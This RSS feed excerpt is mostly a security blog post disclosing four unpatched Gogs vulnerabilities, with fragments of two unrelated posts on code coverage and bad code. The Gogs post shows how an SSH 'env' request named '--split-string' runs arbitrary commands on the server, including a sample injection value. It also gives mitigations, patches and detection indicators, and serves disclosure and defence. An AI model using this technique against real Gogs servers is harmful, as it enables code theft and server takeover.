improvements or regressions in your test coverage across different versions and commits. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6f425413-51db-405e-9dd6-64b32e5897e6/sonarqube-code-coverage-evolution.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Interpreting Code Coverage Metrics &lt;/h3&gt;&lt;p&gt; While code coverage is a vital metric, focusing on 100% code coverage may get to a point of diminishing returns. Here are some guidelines to interpret it:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;High Coverage Does Not Equal High Quality: High code coverage does not guarantee high-quality tests. Ensure your tests cover edge cases and potential failure points.  &lt;/li&gt;&lt;li&gt;Strive for Meaningful Coverage: Aim for coverage that provides confidence in your code&amp;#x27;s behavior rather than focusing solely on achieving a high percentage.&lt;/li&gt;&lt;li&gt;Balance Coverage with Other Metrics: Code coverage should be considered alongside other quality metrics provided by SonarQube, such as code smells, bugs, and security vulnerabilities. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Benefits of Using SonarQube for Code Coverage Analysis&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Improved Reliability and Maintainability: &lt;/strong&gt;Higher code coverage indicates that more code paths are being exercised by your tests, leading to the identification and remedying of bugs earlier in the development lifecycle.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Increased Developer Confidence:&lt;/strong&gt; A significant advantage of code coverage is the confidence it gives you to make changes. With code coverage, you can immediately see the impact of your changes: if there are any unintended side effects, tests will break right away. This instant feedback helps catch problems early and ensures the stability of your codebase. A well-tested codebase with high code coverage instills confidence in developers and reduces the fear of introducing new bugs in production.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Detailed Reports: &lt;/strong&gt;SonarQube offers granular code coverage reports that pinpoint untested sections of your code. These reports break down coverage by lines and files, providing a clear picture of your testing efforts. Code coverage reports help demonstrate the quality and thoroughness of the testing process to stakeholders and potential customers.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Actionable Insights: &lt;/strong&gt;Beyond simply reporting coverage percentages, SonarQube offers actionable insights within the context of your codebase. It highlights areas with low coverage, providing metrics such as uncovered lines and uncovered conditions. Refer to the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/user-guide/metric-definitions/#tests&quot;&gt;documentation&lt;/a&gt; for all the metrics that SonarQube reports for test coverage. &lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Sonar and Code Coverage: &lt;/h3&gt;&lt;p&gt;SonarQube empowers developers to achieve comprehensive code coverage, giving them clear visibility into untested areas and offering actionable insights with context. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It equips developers by providing a quantitative measure of testing effectiveness. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This data helps teams track progress toward testing goals and make informed decisions about resource allocation for testing activities. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By integrating coverage analysis into your development workflow, you can ensure your codebase is well-tested and maintain high standards of quality. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remember, while code coverage is important, it should be part of a broader strategy for continuous code quality improvement. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ready to Leverage SonarQube for Code Coverage Analysis?&lt;/strong&gt; &lt;strong&gt;Try &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/developer/&quot;&gt;Developer Edition&lt;/a&gt; for yourself. &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Securing Developer Tools: Unpatched Code Vulnerabilities in Gogs (1/2)]]></title><description><![CDATA[We discovered 4 critical code vulnerabilities in Gogs, a source code hosting solution, which are still unpatched. Read about the details and how to protect yourself.]]></description><link>https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1</link><guid isPermaLink="false">17fcf290-dc00-5fc4-8567-3dcf2b335989</guid><dc:creator><![CDATA[Thomas Chauchefoin, Paul Gerste]]></dc:creator><pubDate>Tue, 02 Jul 2024 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Most companies today value their source code as an important asset and rely on cloud services like GitHub or operate their own source code hosting platform to manage this asset. One option for this is &lt;a href=&quot;https://gogs.io/&quot;&gt;Gogs&lt;/a&gt;, an open-source solution for self-hosting source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With over 44,000 stars on GitHub, Gogs is among the most popular Go projects. Its Docker image has been downloaded over 90 million times, indicating that many developers use it. In light of our blog post series on securing developer tools, we investigated the code base of Gogs for security vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered &lt;strong&gt;four unfixed vulnerabilities in Gogs&lt;/strong&gt; that allow attackers to compromise vulnerable instances, enabling them to steal source code, plant code backdoors, wipe all code, and more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post will first cover the impact of the vulnerabilities we found and reported. We will then discuss the technical details of one of those vulnerabilities. Finally, we will provide recommendations and patches for users to help them protect their Gogs installations. This blog post is the first in a series of two. Next week&amp;#x27;s article will cover more details on the remaining vulnerabilities.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We found the following vulnerabilities and reported them to the maintainers of Gogs:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Argument Injection in the built-in SSH server (CVE-2024-39930, CVSS 9.9 Critical)&lt;/li&gt;&lt;li&gt;Argument Injection when tagging new releases (CVE-2024-39933, CVSS 7.7 High)&lt;/li&gt;&lt;li&gt;Argument Injection during changes preview (CVE-2024-39932, CVSS 9.9 Critical)&lt;/li&gt;&lt;li&gt;Deletion of internal files (CVE-2024-39931, CVSS 9.9 Critical)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, the maintainers did not implement fixes and stopped communicating with us at some point after initially accepting our report. All four vulnerabilities are still present in the latest release of Gogs (0.13.0) and the latest commit in the Gogs repository (&lt;code&gt;5bdf91e&lt;/code&gt; at the time of writing). &lt;strong&gt;To protect yourself, read our recommendation section below.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers can use vulnerabilities 1, 3, and 4 to execute arbitrary commands on the Gogs server. The commands will run under the same use that Gogs is running as (configured via &lt;code&gt;RUN_USER&lt;/code&gt;). This allows them to read all source code on the instance, modify any code, delete all code, or attack internal hosts reachable from the Gogs server. Vulnerability 2 allows attackers to read arbitrary files from the Gogs server. These files include the source code stored on the Gogs instance and configuration secrets, likely allowing the attacker to impersonate other users and gain more privileges.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All four vulnerabilities require an attacker to be authenticated. You can find more details about the exploitability of vulnerability 1 in the &lt;em&gt;Exploit Requirements&lt;/em&gt; section below. A quick &lt;a href=&quot;https://www.shodan.io/search?query=http.component%3A%22Gogs%22&quot;&gt;Shodan search&lt;/a&gt; lists around 7300 open Gogs instances:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/30878b95-a949-4a1a-97a9-febf6039a666/shodan-gogs-report-card.png&quot; /&gt;&lt;p&gt;We did not confirm how many of these are exploitable, nor do we have any data on whether or not malicious actors are exploiting these vulnerabilities in the wild.&lt;/p&gt;&lt;h2&gt;Technical Details of CVE-2024-39930&lt;/h2&gt;&lt;p&gt;Like many source code hosting platforms, Gogs allows users to push and pull Git repositories over SSH. For this, Gogs comes with a built-in SSH server that admins can activate. This built-in server uses the &lt;code&gt;golang.org/x/crypto/ssh&lt;/code&gt; package under the hood, which does most of the heavy lifting, such as implementing the SSH protocol, handling authentication, etc.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Gogs adds code on top of that, which handles authorization and maps repos to their respective internal file path. This is done by executing a helper executable that is part of Gogs. To understand the vulnerability we found in the binding code between the SSH library and the helper executable, we will take a quick detour into the SSH protocol:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/789423bb-e9e8-4b89-92d7-737a9164d5ba/SSH%20Flow%20Example.png&quot; /&gt;&lt;p&gt;An SSH connection starts with a client establishing a TCP connection with the server (1). The client and server then perform a handshake (2) that includes authentication, usually using public key cryptography. After the handshake successfully finishes, the client opens a channel with the type &lt;code&gt;session&lt;/code&gt; (3), and the server confirms (4). Inside this channel, the client can send requests consisting of a type and a payload. For example, a client would send a &lt;code&gt;shell&lt;/code&gt; request (5) to establish a classic interactive SSH session.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For Git-over-SSH, the client uses &lt;code&gt;env&lt;/code&gt; and &lt;code&gt;exec&lt;/code&gt; requests. While the former is used to set environment variables like &lt;code&gt;GIT_PROTOCOL&lt;/code&gt;, the latter is used to start a Git process on the server that the client can then directly talk to and exchange repository data. Gogs handles these requests in &lt;a href=&quot;https://github.com/gogs/gogs/blob/5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf/internal/ssh/ssh.go#L57-L79&quot;&gt;internal/ssh/ssh.go&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;switch req.Type {
case &quot;env&quot;:
    var env struct {
        Name  string
        Value string
    }
    if err := ssh.Unmarshal(req.Payload, &amp;env); err != nil {
        log.Warn(&quot;SSH: Invalid env payload %q: %v&quot;, req.Payload, err)
        continue
    }
    // Sometimes the client could send malformed command (i.e. missing &quot;=&quot;),
    // see https://discuss.gogs.io/t/ssh/3106.
    if env.Name == &quot;&quot; || env.Value == &quot;&quot; {
        log.Warn(&quot;SSH: Invalid env arguments: %+v&quot;, env)
        continue
    }
    _, stderr, err := com.ExecCmd(&quot;env&quot;, fmt.Sprintf(&quot;%s=%s&quot;, env.Name, env.Value))
    if err != nil {
        log.Error(&quot;env: %v - %s&quot;, err, stderr)
        return
    }
case &quot;exec&quot;:
    // ...
    return
default:
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see that the handler parses the payload of an &lt;code&gt;env&lt;/code&gt; request into a name and a value. It then checks that both are not empty strings and executes a command to set the respective environment variable. The command is in the form &lt;code&gt;env &amp;lt;name&amp;gt;=&amp;lt;value&amp;gt;&lt;/code&gt;, where &lt;code&gt;&amp;lt;name&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;value&amp;gt;&lt;/code&gt; are user-controlled. So, what is the vulnerability here?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The command is not executed in a shell context, and the arguments are passed as an array instead of constructing a complete command string. This correctly prevents Command Injection vulnerabilities, so sending a variable like &lt;code&gt;FOO=$(id &amp;gt; /tmp/pwned)&lt;/code&gt; would &lt;strong&gt;not&lt;/strong&gt; result in the execution of the &lt;code&gt;id&lt;/code&gt; command here.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, Command Injection vulnerabilities have a sneaky sibling: Argument Injections. In this case, the beginning of an argument to a command is user-controlled, so what happens when &lt;code&gt;env&lt;/code&gt; is executed with an argument like &lt;code&gt;--foo=bar&lt;/code&gt;?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ env --foo=bar
env: unrecognized option &apos;--foo=bar&apos;
Try &apos;env --help&apos; for more information.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;--&lt;/code&gt; prefix makes the &lt;code&gt;env&lt;/code&gt; command use the provided argument as an option instead of a positional argument! Since options usually modify the behavior of a command, they can be helpful for attackers to make a command do unintended things. In the case of &lt;code&gt;env&lt;/code&gt;, the help message does not look promising at first glance:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Usage: env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]
Set each NAME to VALUE in the environment and run COMMAND.
Mandatory arguments to long options are mandatory for short options too.
  -i, --ignore-environment  start with an empty environment
  -0, --null           end each output line with NUL, not newline
  -u, --unset=NAME     remove variable from the environment
  -C, --chdir=DIR      change working directory to DIR
  -S, --split-string=S  process and split S into separate arguments;
                        used to pass multiple arguments on shebang lines
  -v, --debug          print verbose information for each processing step
      --help     display this help and exit
      --version  output version information and exit
A mere - implies -i.  If no COMMAND, print the resulting environment.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the attacker could provide an additional &lt;strong&gt;positional&lt;/strong&gt; argument, it would be executed as a command. However, the single argument passed to &lt;code&gt;env&lt;/code&gt; will always contain an equals character (&lt;code&gt;=&lt;/code&gt;) and never be considered as &lt;code&gt;COMMAND&lt;/code&gt;. All the other options are not helpful for attackers since they don&amp;#x27;t allow for command execution, file writes, or something similarly interesting. Or are they?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At a second glance, the &lt;code&gt;--split-string&lt;/code&gt; option seems interesting: &amp;quot;process and split S into separate arguments&amp;quot;. Could this be used to control the positional &lt;code&gt;COMMAND&lt;/code&gt; argument? Let&amp;#x27;s try it out with a command that should print &lt;code&gt;foo&lt;/code&gt; to stdout:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ env &apos;--split-string=echo foo&apos;
foo&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It worked! We can see what happens under the hood by adding the &lt;code&gt;-v&lt;/code&gt; option for verbosity:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ env -v &apos;--split-string=echo foo&apos;
split -S:  ‘echo foo’
 into:    ‘echo’
     &amp;    ‘foo’
executing: echo
   arg[0]= ‘echo’
   arg[1]= ‘foo’
foo&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At first, &lt;code&gt;env&lt;/code&gt; recognizes the &lt;code&gt;--split-string&lt;/code&gt; option (with its short form &lt;code&gt;-S&lt;/code&gt;) and explains that it splits the string &lt;code&gt;echo foo&lt;/code&gt; into two separate arguments: &lt;code&gt;echo&lt;/code&gt; and &lt;code&gt;foo&lt;/code&gt;. It then continues processing the arguments and recognizes &lt;code&gt;echo&lt;/code&gt; as the positional &lt;code&gt;COMMAND&lt;/code&gt; argument it should execute. It further parses &lt;code&gt;foo&lt;/code&gt; to be the first of the positional &lt;code&gt;ARGS&lt;/code&gt; arguments and, therefore, sets it as the first argument for the &lt;code&gt;echo&lt;/code&gt; command. Finally, &lt;code&gt;echo foo&lt;/code&gt; is executed and prints &lt;code&gt;foo&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This feature is Argument Injection heaven for attackers! By controlling a single options argument, arbitrary arguments can be passed to the command. Bringing this into the context of Gogs&amp;#x27; SSH handler, it becomes clear that an attacker can execute any command on the Gogs server by connecting via SSH and sending an environment variable with the name &lt;code&gt;--split-string&lt;/code&gt; and the desired command as the value.&lt;/p&gt;&lt;h3&gt;Exploit Requirements for CVE-2024-39930&lt;/h3&gt;&lt;p&gt;The requirements for a successful attack depend on the exact Gogs setup. For all Gogs instances, the &lt;strong&gt;built-in SSH server has to be enabled&lt;/strong&gt;. You can check this by visiting the admin panel&amp;#x27;s configuration page (at &lt;code&gt;/admin/config&lt;/code&gt;) and checking in the &amp;quot;SSH configuration&amp;quot; section if SSH is enabled and the built-in server is activated:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/830c204a-9637-4eed-b2cb-95cb9d36d7f8/gogs-admin-config-ssh.png&quot; /&gt;&lt;p&gt;In addition, the &lt;strong&gt;attacker needs a valid SSH private key&lt;/strong&gt; for the instance. If the Gogs instance has registration enabled, the attacker can simply create an account and register their SSH key. Otherwise, they would have to compromise another account or steal a user&amp;#x27;s SSH private key.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, &lt;strong&gt;successful exploitation depends on the server&amp;#x27;s version of the &lt;code&gt;env&lt;/code&gt; binary&lt;/strong&gt;. Not all versions support the &lt;code&gt;--split-string&lt;/code&gt; option required to abuse the Argument Injection vulnerability. In our tests, the &lt;code&gt;gogs/gogs&lt;/code&gt; Docker image was not exploitable because it is based on Alpine Linux, which uses the BusyBox implementation of &lt;code&gt;env&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ubuntu and Debian use the GNU coreutils version of &lt;code&gt;env&lt;/code&gt;, which supports the option and is therefore exploitable. You can test your Gogs server by checking if &lt;code&gt;env --help&lt;/code&gt; lists &lt;code&gt;--split-string&lt;/code&gt; as a valid option.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Gogs instances running on Windows are unexploitable, as no &lt;code&gt;env&lt;/code&gt; command is available there.&lt;/p&gt;&lt;h2&gt;Recommendations: How to Protect Yourself&lt;/h2&gt;&lt;p&gt;Unfortunately, the maintainers of Gogs stopped responding to our disclosure at some point after initially accepting our report. Therefore, all four of our reported vulnerabilities are unpatched in the latest version of Gogs. To help users protect themselves, we have curated a list of mitigations and additional recommendations.&lt;/p&gt;&lt;h3&gt;Immediate Mitigations&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Disable the built-in SSH server:&lt;/strong&gt; To prevent the exploitation of the Argument Injection vulnerability discussed in this blog post, we recommend turning off the built-in SSH server in your &lt;code&gt;app.ini&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[server]
START_SSH_SERVER = false&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Alternatively, you can disable SSH entirely if you don&amp;#x27;t need it (Git operations will still work via HTTP):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[server]
DISABLE_SSH = true&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Disable user registration:&lt;/strong&gt; While this will not prevent existing users from exploiting the vulnerabilities, it will protect you from the mass exploitation of malicious actors that scan the internet for vulnerable instances. To turn off the registration of new user accounts, set the following option in your &lt;code&gt;app.ini&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[auth]
DISABLE_REGISTRATION = true&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Patches&lt;/h3&gt;&lt;p&gt;Since the Gogs maintainers did not fix the vulnerabilities, we created patches that should fix them. However, we did not extensively test if these patches break functionality somewhere, so we are providing them without any guarantees.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://gist.githubusercontent.com/paul-gerste-sonarsource/207f5dc79f59bb256a0bfccda4e3e92b/raw/Gogs-security-fixes-by-Sonar.patch&quot;&gt;&lt;code&gt;Gogs-security-fixes-by-Sonar.patch&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://gist.githubusercontent.com/paul-gerste-sonarsource/207f5dc79f59bb256a0bfccda4e3e92b/raw/Gogs-security-fixes-by-Sonar.patch&quot;&gt;&lt;br/&gt;&lt;br/&gt;&lt;/a&gt;&lt;strong&gt;How to apply the patches:&lt;/strong&gt; To use a version of Gogs with the patches applied, you have to build it from the source. You can find their &lt;a href=&quot;https://gogs.io/docs/installation/install_from_source&quot;&gt;extensive documentation here&lt;/a&gt;. In the &amp;quot;Compile Gogs&amp;quot; step, you will have to apply our patches before running the build command like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# Clone the repository to the &quot;gogs&quot; subdirectory
git clone --depth 1 https://github.com/gogs/gogs.git gogs

# Change working directory
cd gogs

# Apply the patches
git apply Gogs-security-fixes-by-Sonar.patch

# Compile the main program, dependencies will be downloaded at this step
go build -o gogs&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Our patches are compatible with the latest version of Gogs available at the time of writing this blog post, which is at commit &lt;code&gt;5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf&lt;/code&gt; (corresponding to version 0.13.0).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;How the patches work:&lt;/strong&gt; Our patches remove the SSH &lt;code&gt;env&lt;/code&gt; handler because, due to a functional bug, it had no effect anyway. For the two additional Argument Injections, we add end-of-options arguments to separate the user-controlled arguments from the options. For the file delete vulnerability, we add code that verifies the user-controlled path before removing a file.&lt;/p&gt;&lt;h3&gt;Further Recommendations&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Switch to Gitea:&lt;/strong&gt; We recommend switching from Gogs to Gitea, which started as a fork of Gogs. It is more actively maintained, and the vulnerabilities we found in Gogs were not present in Gitea when we checked.&lt;/p&gt;&lt;h3&gt;Detecting Attacks&lt;/h3&gt;&lt;p&gt;We don&amp;#x27;t have any data on whether or not malicious actors are exploiting these vulnerabilities in the wild. If you want to check if you have been attacked, we curated a list of indicators. These are non-exhaustive and provided on a best-effort basis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CVE-2024-39930 (Argument Injection in the built-in SSH server):&lt;/strong&gt; The exploitation of this vulnerability is more challenging to detect on the network level because the attacker payload is sent inside an encrypted SSH connection. On the OS level, you can check for invocations of the &lt;code&gt;env&lt;/code&gt; command with an argument that starts with either &lt;code&gt;--split-string&lt;/code&gt; or &lt;code&gt;-S&lt;/code&gt; (the short form option).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CVE-2024-39932 (Argument Injection during changes preview):&lt;/strong&gt; On the network level, the exploitation of this vulnerability will involve an HTTP request whose path starts with &lt;code&gt;/&amp;lt;user&amp;gt;/&amp;lt;repo&amp;gt;/_preview/&amp;lt;branch&amp;gt;/--&lt;/code&gt; where &lt;code&gt;&amp;lt;user&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;repo&amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;lt;branch&amp;gt;&lt;/code&gt; depend on the repository used for the attack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We did not find reliable ways to detect attacks for the remaining two vulnerabilities because attackers can easily obfuscate their exploit attempts through multiple indirections.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-20&lt;/td&gt;&lt;td&gt;We report all issues via email to the Gogs maintainers, including steps to reproduce, fix recommendations, and a 90-day disclosure deadline.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-28&lt;/td&gt;&lt;td&gt;We ping the maintainers again to see if our report was received.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-28&lt;/td&gt;&lt;td&gt;The Gogs maintainers confirm the acceptance of our report.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-16&lt;/td&gt;&lt;td&gt;We ask the Gogs maintainers for updates.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-18&lt;/td&gt;&lt;td&gt;The Gogs maintainers reply that there are no updates yet.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-08-15&lt;/td&gt;&lt;td&gt;We inform the Gogs maintainers that the 90-day disclosure deadline has expired.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-02&lt;/td&gt;&lt;td&gt;We ask the Gogs maintainers to open GitHub advisories so we can help contribute patches.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-04&lt;/td&gt;&lt;td&gt;We ask the Gogs maintainers for updates.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-05&lt;/td&gt;&lt;td&gt;The Gogs maintainers respond they will look into the report.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-02-14&lt;/td&gt;&lt;td&gt;We ask the Gogs maintainers for updates.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-06-03&lt;/td&gt;&lt;td&gt;We inform the Gogs maintainers of the upcoming blog posts.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-07-02&lt;/td&gt;&lt;td&gt;We release this blog post.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-07-04&lt;/td&gt;&lt;td&gt;MITRE publishes the CVE IDs CVE-2024-39930, CVE-2024-39931, CVE-2024-39932, and CVE-2024-39933.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This blog post introduced four unpatched vulnerabilities in Gogs, a popular open-source solution for hosting and managing source code. We explained the impact of these vulnerabilities in case attackers exploit them. We then discussed the technical details of one of the four vulnerabilities (CVE-2024-39930) and examined its exploit requirements.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also covered the options to protect Gogs instances against these unfixed vulnerabilities. To help with that, we provided patches and added recommendations on how to mitigate attacks. Finally, we listed ways to detect attacks as they happen or based on existing logs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Next week&amp;#x27;s blog post will conclude our two-part series on Gogs. It will discuss the remaining vulnerabilities in more detail, leaving users time to patch until then.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;SourceForge: &lt;a href=&quot;https://www.sonarsource.com/blog/dangerous-import-sourceforge-patches-critical-code-vulnerability/&quot;&gt;Dangerous Import: SourceForge Patches Critical Code Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Jenkins: &lt;a href=&quot;https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/&quot;&gt;Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;OneDev: &lt;a href=&quot;https://www.sonarsource.com/blog/onedev-remote-code-execution/&quot;&gt;Securing Developer Tools: OneDev Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Visual Studio Code: &lt;a href=&quot;https://www.sonarsource.com/blog/visual-studio-code-security-deep-dive-into-your-favorite-editor/&quot;&gt;Visual Studio Code Security: Deep Dive into Your Favorite Editor&lt;/a&gt;&lt;/li&gt;&lt;li&gt;TeamCity: &lt;a href=&quot;https://www.sonarsource.com/blog/teamcity-vulnerability/&quot;&gt;Source Code at Risk: Critical Code Vulnerability in CI/CD Platform TeamCity&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[The True Cost of Bad Code in Software Development]]></title><description><![CDATA[Despite advances in technology and methodologies, the costs associated with fixing bad code continue to escalate, impacting businesses financially and operationally. But what is bad code, what are the clear markers of its negative impact, and how can organizations overcome it?]]></description><link>https://www.sonarsource.com/blog/the-true-cost-of-bad-code-in-software-development</link><guid isPermaLink="false">05f93cc8-a1b6-5fb7-b7d7-b4ab563ba5b3</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Thu, 27 Jun 2024 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bad software code is simply a part of doing business. Technical debt has never been more significant—&lt;a href=&quot;https://www-it--cisq-org.translate.goog/the-cost-of-poor-quality-software-in-the-us-a-2022-report/?_x_tr_sl=it&amp;_x_tr_tl=en&amp;_x_tr_hl=en&amp;_x_tr_pto=wapp&quot;&gt;the accumulated software technical debt has grown to ~$1.52 trillion&lt;/a&gt;. And, despite advances in technology and development methodologies, the costs associated with fixing this problematic code continue to escalate, impacting businesses financially and operationally. But what is bad code, what are the clear markers of its negative impact, and how can organizations overcome it?&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;What is Bad Code?&lt;/h3&gt;&lt;p&gt;Bad code is poorly written, difficult to understand, and challenging to maintain. It goes beyond mere syntax errors or minor bugs and can be:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Complex&lt;/strong&gt;: Overly intricate solutions to simple problems&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Poorly structured&lt;/strong&gt;: Lack of logical organization in the code&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Lacking documentation&lt;/strong&gt;: Insufficient explanations or comments&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Duplicative&lt;/strong&gt; Repeated code snippets that could be streamlined&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Full of excessive dependencies&lt;/strong&gt;: Over-reliance on other parts of the system or external 